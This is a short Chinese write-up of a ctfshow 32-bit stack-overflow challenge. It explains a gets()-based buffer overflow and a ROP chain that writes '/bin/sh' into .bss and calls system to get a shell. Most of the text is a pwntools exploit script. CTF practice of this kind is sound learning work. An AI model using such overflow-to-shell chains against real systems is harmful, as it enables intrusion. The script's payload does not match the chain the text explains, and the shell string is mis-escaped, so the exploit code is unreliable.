ctfshow writeup 栈
/writeup 3

P43 x86 使用gets写入bin/sh

无PIE,canary,有NX

char *ctfshow()
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return gets(s);
}

gets存在栈溢出

使用plt中的函数构造rop链

用gets写入binsh

buf2在bss段的地址:0x0804B060

根据x86下传参规则:

#写入binsh
#pop_ebx_ret是调整栈帧,返回时将buf2_addr从栈上清理
payload=……+p32(gets_plt)+p32(pop_ebx_ret)+p32(buf2_addr)
#system
payload+=p32(sys_plt)+p32(0)+p32(buf2_addr)

exp:

from pwn import *
p= process('./pwn')
#gdb.attach(p)

setoff= 0x6C
system_addr= 0x08048450
gets_addr= 0x08048420
bss_addr = 0x804b060
pop_ebx_ret= 0x08048409

p.recvuntil(b' * *************************************')
payload= b'a'*(setoff+4)+p32(gets_addr)+p32(pop_ebx_ret)+p32(system_addr)+p32(0x41414141)+p32(bss_addr)

p.sendline(payload)
p.sendline(b'/bin/sh\\x00')

p.interactive()

ctfshow writeup 栈
http://47.100.250.251:8091/archives/ctfshow-writeup
作者
Administrator
发布于
更新于
许可